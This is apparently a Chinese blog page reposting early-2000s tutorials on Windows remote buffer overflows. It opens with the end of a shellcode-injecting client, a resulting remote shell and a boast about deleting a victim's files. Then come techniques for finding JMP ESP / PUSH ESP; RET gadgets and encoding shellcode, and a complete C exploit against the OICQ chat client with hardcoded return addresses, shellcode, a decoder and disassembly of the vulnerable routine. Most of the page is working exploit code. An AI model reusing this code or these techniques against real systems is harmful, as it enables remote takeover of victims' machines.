server.sin_family = AF_INET;
server.sin_port = htons(3764);
server.sin_addr.s_addr=inet_addr("127.0.0.1");

connect(sockFD,(struct sockaddr *)&server,sizeof(server));
for(int i=0;i<56;Buff[i++]=0x90);
strcpy(Buff+56,(char *)eip);
strcpy(Buff+60,(char *)sploit);
sBO = Buff;
send(sockFD,sBO,56+4+560,0);

closesocket(sockFD);
WSACleanup();
return 1;

}

运行server,然后运行client.之后,telnet localhost 53764,看到了什么?

Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-1998 Microsoft Corp.

D:\MyProjects\server>dir
dir
驱动器 D 中的卷没有标签。
卷的序列号是 3C2F-72BB

D:\MyProjects\server 的目录

2000-04-26 17:52
.
2000-04-26 17:52
..
2000-04-25 11:17
Debug
2000-04-23 20:23 3,288 server.001
2000-04-25 11:16 926 server.cpp
2000-04-25 10:33 3,325 server.dsp
2000-04-25 10:33 535 server.dsw
2000-04-26 17:52 41,984 server.ncb
2000-04-26 17:52 49,664 server.opt
2000-04-25 11:24 509 server.plg
7 个文件 100,231 字节
3 个目录 8,688,173,056 可用字节

D:\MyProjects\server>

呵呵,大功告成。


----后记
大家通过钻研,可以知道,这是一个windows下通用的远程溢出shellcode。使用这个shellcode,稍加改动,我们可以编写出其他的远程溢出程序。 实现对任何已知存在缓冲区溢出问题的程序的远程控制。

事实上,为了发现溢出漏洞,你必须深入钻研敌人的程序代码,找到他的有问题代码。这本身就可以单开一讲来详细阐述。indows下的Cracker们,你们的破解跟踪技术将在这个领域得到最大的利用。我估计,在不久的将来,会有很多Cracker,公布一系列windows缓冲区溢出漏洞。

上面所示的,只不过是一个实验用的server程序,事实上,我们已经完成了Oicq远程溢出程序的实现和IisHack中文NT版的移植。当我telnet victim 53764上敌人的机器,删除了他的autoexec.001时,真是一切尽在掌握。我心中想的,就是:windows Nt/2000的远程溢出时代,开始了!我们再也不需要木马了!

因为上述程序的攻击性太强,我就不公布原代码了,我希望如果有人基于我的shellcode写出了远程溢出程序,请先通知软件供应商,等待patch出来后,再公布你们的溢出程序。

因为,发现漏洞的目的,并不是为了破坏,而是为了消除漏洞,提高安全。

----参考书目:
0)ipxodi 《window系统下的堆栈溢出》IsBaseMagzine 20003。
1)dark spyrit AKA Barnaby Jack的Phrack Magzine55上的经典文章。
2)Backend的《Windows 2000缓冲区溢出入门》 IsBaseMagzine 20004。
3)《windows网络编程技术》 Anthory Jones,Jim Ohlund.(机械版京京译)

----致谢
要致谢的人很多:
dark spyrit,为你的天才和无私,向你致敬。
感谢绿盟的Backend,Yuange,Zer9,为你们的研究成果和给我的无私帮助,
当然还有绿盟的tt,deepin,为你们在攻击实践上给我的帮助。
感谢所有帮助和激励过我的人。

3.
WINDOWS下的溢出程序编写技巧

作者:soarlove
出处:http://www.vccode.com/file_show.php?id=563

看了些WINDOWS下的溢出程序,觉得不够统一、完美,决定做一个相对较统一的编写方法,试着解决了些问题。
1、JMP ESP 的问题。
为了尽量统一,都使用KERNERL32。DLL的代码,因为至少同一系统KERNEL32。DLL模块装载地址变化可能小,别的模块可能随着安装应用软件的环境不同装载地址不同,还有其模块安装是KERNEL32。DLL在比较前面,后面的模块安装地址要随前面模块的变动而变动,所以还是决定用KERNEL32。DLL相对比较统一(就是同一系统不同版本)。解决了JMP ESP (FF E4)代码找不到问题,增加使用
PUSH ESP (54)
。。。。
RET (C3)
或者
PUSH ESP (54)
。。。。
RET 00XX (C2 XX 00) (RET NUM ,NUM最好不要太大,所以做限制 NUM=00XX)
代码,这可以找到很多了。“。。。”为几条不定语句,但要不影响功能的。
比如找到一处代码就可以使用:
PUSH ESP
AND AL,08
RET 10
选择原则尽量使用模块前面的可用的,因为不同版本前面的相同可能要大。
因为9X与NT系统模块装载地址有很大区别,所以用这方法不可能统一,我看了WINNT、WIN2000竟然KERNEL32。DLL的装载地址也不一样,真有点。。。。具体哪个程序的溢出可以试着找那程序中的 JMP ESP,但这地址一般都是0X00XXXXXX,所以也有问题。 这是否可以在程序中先识别要攻击系统的系统?下面程序是用宏定义。

2、解决SHELLCODE的编写问题。
原来很多程序的SHELLCODE都是用先编写好后用"\XAA\XBB"的形式写出来,一个是不好修改,还有不好看到底是什么SHELLCODE。所以想法是SHELLCODE和溢出程序一起编写。这对SHELLCODE编写稍微有点要求,这就是要求SHELLCODE代码是可移动代码,就是整个代码地址移动照常运行。为了减少不兼容,函数调用地址也用LOADLIBRARY和GETPROCADDRESS得到,这样SHELLCODE就只依靠这两个参数。其实这两个参数也可以在内存里面找到KERNEL32。DLL模块,再根据函数引出表自己得到地址。那样就只有JMP ESP地址在WINNT、WIN200、WIN9X下没有统一了。
程序中已经大致有了SHELLCODE编写的雏形。现在有几个问题:
一,确定SHELLCODE函数代码地址,直接指定得到的是一个JMP SHELLCODE的地址,应该有方法直接得到的。
二,SHELLCODE用C编写编译后往往有_CHKESP的一个调用,这可以改汇编编写或者找到里面的call _CHKESP的代码用NOP填充。

3、SHELLCODE字符往往有要求,决定对SHELLCODE编码,前面加一小段代码对SHELLCODE解码,编码为符合要求的SHELLCODE,这减轻对SHELLCODE编写的要求。不同要求主要改写这一小段编码代码。


/* oicq 199b build 0220 overflow program
copy by yuange 2000。04。18
新版本0410有堆溢出,用这程序可以攻击,但不能执行SELLCODE
*/

#include
#include
#include
#define NUKEWIN2000
//#define NUKEWIN9X
#ifdef NUKEWIN2000
#define RETEIPADDR eipwin2000
#define LoadLibraryfnaddress 0x77e78023 //0x77E60000+0x00018023 LoadLibrary
#define GetProcAddressfnaddress 0x77e7564b //0X77E60000+0x0001564B GetProcAddress
#else
#ifdef NUKEWIN9X
#define RETEIPADDR eipwin9x
#define LoadLibraryfnaddress 0xbff77750 //0xbff70000+0x00007750 LoadLibrary
#define GetProcAddressfnaddress 0xbff76e28 //0xbff70000+0x00006e28 GetProcAddress
#else
#define RETEIPADDR eipwinnt
#define LoadLibraryfnaddress 0x77EE391A //0x77ED0000+0x0001391A LoadLibrary
#define GetProcAddressfnaddress 0x77eE4111 //0x77ED0000+0x00014111 GetProcAddress
#endif
#endif
#define NOPCODE 0x90
#define BUFFSIZE 0x2000
#define OICQPORT 4000
#define OICQOVERADD 7+0x41C
#define OVERADD OICQOVERADD
#define STR0 0
#define STR1 11
#define STR2 23
#define STR3 33
#define STR4 39
#define STR5 51

void shellcodefnlock();
void shellcodefn();
void cleanchkesp(char *fnadd,char *shellbuff,char *chkespadd ,int len);

int main(int argc, char **argv)
{
char *server;
char *str="user32.dll""\x0""MessageBoxA""\x0"" secuess""\x0"" OK!""\x0""msvcrtd.dll""\x0""exit""\x0";
char buff1[]="\x02\x01\x07\x00\x78\x11\x22\x33\x33\x33\x33\x33\x1f\x30\x1f\x37\x35\x1f""2000-4-10""\x1f""12:00:00""\x1f";
/* oicq udp head */

//0x77ed0000+0x1ddd4 kernel32.dll // push esp // and al,08 // ret 0c
char eipwinnt[] ="\xd4\xdd\xee\x77"; //0x77ed0000+0x0001ddd4

char eipwin2000[] ="\xea\x17\xe8\x77"; //0x77e60000+0x000217ea
// kernel32.dll // push esp // and al,08 // ret 0c

//0x77e2e32a user32.dll JMP ESP
char eip2win2000[] = "\x2a\xe3\xe2\x77"; //0x77df0000+0x0003e32a
char eipwin9x[] = "\xd9\x6a\xf7\xbf"; //0xbff70000+0x00006ad9
// Kernel32.dll 4.10.2184 0xbff70000+0x0006ad9
// push esp // and al,0x10; // ret 0x10;

char buff[BUFFSIZE];
char shellcodebuff[0x1000];
struct sockaddr_in s_in2,s_in3;
struct hostent *he;
char *shellcodefnadd,*chkespadd;
unsigned int sendpacketlong;
unsigned int i,j,k;
unsigned char temp;
int fd;
u_short port,port1;
SOCKET d_ip;
WSADATA wsaData;

int result= WSAStartup(MAKEWORD(1, 1), &wsaData);
if (result != 0) {
fprintf(stderr, "Your computer was not connected "
"to the Internet at the time that "
"this program was launched, or you "
"do not have a 32-bit "
"connection to the Internet.");
exit(1);
}

if(argc <2)
{
WSACleanup( );
fprintf(stderr,"\n nuke oicq .\n copy by yuange 2000.4.1. \n wellcome to my homepage http://yuange.yeah.net .");
fprintf(stderr, "\n usage: %s [port] \n", argv[0]);
exit(1);
}
else server = argv[1];

d_ip = inet_addr(server);
if(d_ip==-1){
he = gethostbyname(server);
if(!he)
{
WSACleanup( );
printf("\n Can't get the ip of %s !\n",server);
exit(1);
}
else memcpy(&d_ip, he->h_addr, 4);
}
if(argc>2) port = atoi(argv[2]);
else port=OICQPORT;
if(port==0) port=OICQPORT;

fd = socket(AF_INET, SOCK_DGRAM,0);
i=8000;
setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,(const char *) &i,sizeof(i));
s_in2.sin_family = AF_INET;
if(argc>3) port1=atoi(argv[3]);
else port1=OICQPORT;
if(port1==0) port1=OICQPORT;
s_in2.sin_port = htons(port1);
s_in2.sin_addr.s_addr =0;

s_in3.sin_family = AF_INET;
s_in3.sin_port = htons(port);
s_in3.sin_addr.s_addr = d_ip;
bind(fd,(const struct sockaddr FAR* )&s_in2, sizeof(struct sockaddr_in));
printf("\n nuke ip: %s port %d",inet_ntoa(s_in3.sin_addr),htons(s_in3.sin_port));

memset(buff,NOPCODE,BUFFSIZE);
memcpy(buff,buff1,37);

_asm{
mov ESI,ESP
cmp ESI,ESP
}
_chkesp();
chkespadd=_chkesp;
temp=*chkespadd;
if(temp==0xe9) {
++chkespadd;
// (int *) i=(int*) *chkespadd;
_asm{
mov EDI,dword ptr [chkespadd]
mov EDI,[EDI]
mov i,EDI
}
chkespadd+=i;
chkespadd+=4;
}

shellcodefnadd=shellcodefnlock;
temp=*shellcodefnadd;
if(temp==0xe9) {
++shellcodefnadd;
// (int *) k=(int *) *shellcodefnadd;
_asm{
mov EDI,dword ptr [shellcodefnadd]
mov EDI,[EDI]
mov k,EDI
}
shellcodefnadd+=k;
shellcodefnadd+=4;
}

for(k=0;k<=0x500;++k){
if(memcmp(shellcodefnadd+k,"\x90\x90\x90\x90",4)==0) break;
}
memcpy(buff+OVERADD+0x20,shellcodefnadd+k+4,80);

shellcodefnadd=shellcodefn;
temp=*shellcodefnadd;
if(temp==0xe9) {
++shellcodefnadd;
// (int *)k=*shellcodefnadd;
_asm{
mov EDI,dword ptr [shellcodefnadd]
mov EDI,[EDI]
mov k,EDI
}
shellcodefnadd+=k;
shellcodefnadd+=4;
}

for(k=0;k<=0x1000;++k){
if(memcmp(shellcodefnadd+k,"\x90\x90\x90\x90",4)==0) break;
}

memcpy(shellcodebuff,shellcodefnadd,k); //j);
cleanchkesp(shellcodefnadd,shellcodebuff,chkespadd,k);


memcpy(shellcodebuff+k,str,0x80);
sendpacketlong=k+0x80;
for(k=0;k<=0x200;++k){
if(memcmp(buff+OVERADD+0x20+k,"\x90\x90\x90\x90",4)==0) break;
}

for(i=0;i temp=shellcodebuff[i];
temp&=0xf0;
temp=temp/0x10;
temp+=0x41;
buff[OVERADD+0x20+k]=temp;
++k;
temp=shellcodebuff[i];
temp&=0x0f;
temp+=0x41;
buff[OVERADD+0x20+k]=temp;
++k;
}
memcpy(buff+OVERADD,RETEIPADDR,4);
sendpacketlong=OVERADD+0x20+k+0x10;
for(i=0;i<1;++i){
j=rand();
buff1[0x5]=j;
buff1[0x6]=j+1;
j=sendpacketlong;
buff[j-1]=0x03;
fprintf(stderr,"\n send packet %d bytes.",j);
sendto(fd,buff,j,0,(const struct sockaddr FAR* )&s_in3,sizeof(struct sockaddr_in));
}
closesocket(fd);
WSACleanup( );
return(0);
}

void shellcodefnlock()
{
_asm{
nop
nop
nop
nop
jmp next
getediadd: pop EDI
push EDI
pop ESI
looplock: lodsw
sub AX,0x4141
shl AL,4
xor AL,AH
stosb
cmp AH,0x10
jb looplock
jmp shell
next: call getediadd
shell: nop
nop
nop
nop
}
}

void shellcodefn()
{
// const char str[]="user32.dll""\x0""MessageBoxA""\x0""msvcrtd.dll""\x0""exit";
FARPROC procloadlib,procgetadd,procmsg,procexit;
char *stradd;
HANDLE libhandle;
procloadlib = LoadLibraryfnaddress;
procgetadd = GetProcAddressfnaddress;
_asm
{
jmp nextcall
getstradd: pop stradd
}
libhandle=procloadlib(stradd+STR0);
procmsg=procgetadd(libhandle,stradd+STR1);
procmsg(0,stradd+STR3,stradd+STR2,0);
// libhandle=procloadlib(stradd+STR6);
// opensocketadd=procgetadd(stradd+str7);
libhandle=procloadlib(stradd+STR4);
procexit =procgetadd(libhandle,stradd+STR5);
procexit(0);
_asm{
die: jmp die
nextcall: call getstradd
nop
nop
nop
nop
}
}
void cleanchkesp(char *fnadd,char *shellbuff,char * chkesp,int len)
{
int i,k;
unsigned char temp;
char *calladd;

for(i=0;i temp=shellbuff[i];
if(temp==0xe8){
// (int *)k=*(shellbuff+i+1);
k=shellbuff+i+1;
_asm{
mov EDI,k
mov EDI,[EDI]
mov k,EDI
}

calladd=fnadd;
calladd+=k;
calladd+=i;
calladd+=5;
if(calladd==chkesp){
shellbuff[i]=0x90;
shellbuff[i+1]=0x43; // inc ebx
shellbuff[i+2]=0x4b; // dec ebx
shellbuff[i+3]=0x43;
shellbuff[i+4]=0x4b;
}
}
}
}



/* OICQ有问题代码

:00425D51 837C240800 cmp dword ptr [esp+08], 00000000
:00425D56 740C je 00425D64
:00425D58 8B01 mov eax, dword ptr [ecx]
:00425D5A FF742408 push [esp+08]
:00425D5E FF90B8000000 call dword ptr [eax+000000B8]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00425D56(C)
|
:00425D64 33C0 xor eax, eax
:00425D66 C20800 ret 0008


:00425D69 B8E4774900 mov eax, 004977E4
:00425D6E E80D700300 call 0045CD80
:00425D73 81EC10040000 sub esp, 00000410
;有溢出 yrg 2000.04.18
;缓冲区大小

:00425D79 53 push ebx
:00425D7A 56 push esi
:00425D7B 8B7508 mov esi, dword ptr [ebp+08]
:00425D7E 8D85E4FBFFFF lea eax, dword ptr [ebp+FFFFFBE4]
:00425D84 57 push edi
:00425D85 50 push eax
:00425D86 FF7628 push [esi+28]
:00425D89 8BD9 mov ebx, ecx
:00425D8B FF7624 push [esi+24]
:00425D8E E8C9000000 call 00425E5C
:00425D93 85C0 test eax, eax
:00425D95 0F84B0000000 je 00425E4B
:00425D9B 8D85E8FBFFFF lea eax, dword ptr [ebp+FFFFFBE8]
:00425DA1 8D4DF0 lea ecx, dword ptr [ebp-10]
:00425DA4 50 push eax
:00425DA5 E8CFF10400 call 00474F79
:00425DAA 8365FC00 and dword ptr [ebp-04], 00000000
:00425DAE 8BBDE6FBFFFF mov edi, dword ptr [ebp+FFFFFBE6]
:00425DB4 56 push esi
:00425DB5 8D4D08 lea ecx, dword ptr [ebp+08]
:00425DB8 E8BCF10400 call 00474F79
:00425DBD 0FB785E4FBFFFF movzx eax, word ptr [ebp+FFFFFBE4]
:00425DC4 8B7620 mov esi, dword ptr [esi+20]
:00425DC7 83E878 sub eax, 00000078
:00425DCA C645FC01 mov [ebp-04], 01
:00425DCE 7434 je 00425E04
:00425DD0 48 dec eax
:00425DD1 7560 jne 00425E33
:00425DD3 51 push ecx
:00425DD4 8D45F0 lea eax, dword ptr [ebp-10]
:00425DD7 8BCC mov ecx, esp
:00425DD9 8965EC mov dword ptr [ebp-14], esp
:00425DDC 50 push eax
:00425DDD E89EEE0400 call 00474C80
:00425DE2 57 push edi
:00425DE3 56 push esi
:00425DE4 51 push ecx
:00425DE5 8D4508 lea eax, dword ptr [ebp+08]
:00425DE8 8BCC mov ecx, esp
:00425DEA 8965E8 mov dword ptr [ebp-18], esp
:00425DED 50 push eax
:00425DEE C645FC03 mov [ebp-04], 03
:00425DF2 E889EE0400 call 00474C80
:00425DF7 8BCB mov ecx, ebx
:00425DF9 C645FC01 mov [ebp-04], 01
:00425DFD E8D4030000 call 004261D6
:00425E02 EB2F jmp 00425E33

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00425DCE(C)
|
:00425E04 51 push ecx
:00425E05 8D45F0 lea eax, dword ptr [ebp-10]
:00425E08 8BCC mov ecx, esp
:00425E0A 8965E8 mov dword ptr [ebp-18], esp
:00425E0D 50 push eax
:00425E0E E86DEE0400 call 00474C80
:00425E13 57 push edi
:00425E14 56 push esi
:00425E15 51 push ecx
:00425E16 8D4508 lea eax, dword ptr [ebp+08]
:00425E19 8BCC mov ecx, esp
:00425E1B 8965EC mov dword ptr [ebp-14], esp
:00425E1E 50 push eax
:00425E1F C645FC02 mov [ebp-04], 02
:00425E23 E858EE0400 call 00474C80
:00425E28 8BCB mov ecx, ebx
:00425E2A C645FC01 mov [ebp-04], 01
:00425E2E E860040000 call 00426293

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00425DD1(C), :00425E02(U)
|
:00425E33 8065FC00 and byte ptr [ebp-04], 00
:00425E37 8D4D08 lea ecx, dword ptr [ebp+08]
:00425E3A E8CCF00400 call 00474F0B
:00425E3F 834DFCFF or dword ptr [ebp-04], FFFFFFFF
:00425E43 8D4DF0 lea ecx, dword ptr [ebp-10]
:00425E46 E8C0F00400 call 00474F0B

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00425D95(C)
|
:00425E4B 8B4DF4 mov ecx, dword ptr [ebp-0C]
:00425E4E 5F pop edi
:00425E4F 5E pop esi
:00425E50 64890D00000000 mov dword ptr fs:[00000000], ecx
:00425E57 5B pop ebx
:00425E58 C9 leave
:00425E59 C20400 ret 0004
*/


/* OICQ消息的UDP数据结构,参见ZER9的《OICQ的安全问题 》
struct TOicqPtoP
{
char Tag1; // 0x02 // 显然是 Oicq 的协议编号 or 版本,固定
char Tag2; // 0x01 // 显然是 Oicq 的协议编号 or 版本,固定
char Tag3; // 0x07
char Tag4; // 0x00
char Tag5; // 0x78
char Tag6; // 这两个字节相当于 unix 上的进程 ID,
char Tag7; // 随便赋值就可。
char cOicqNub[]; // 发送方的Oicq 号码。 exp:123456
char cFF; // 0x1f 在所有的Oicq 信息结构中,分割符都是 0x1f
char cR; // '0' 固定
char cFF; //
char cE[]; // "75" ,这一位相对固定,可能是操作方式。
char cFF;
char cDateTime[]; // exp: "2000-4-10",0x1f,"12:00:12",0x1f
char OutMsg[]; // 发送的消息内容。
char cEnd; // 0x03 ,所有的 oicq 信息都已 0x03 为标记结束。
};
*/



<< Home

This page is powered by Blogger. Isn't yours?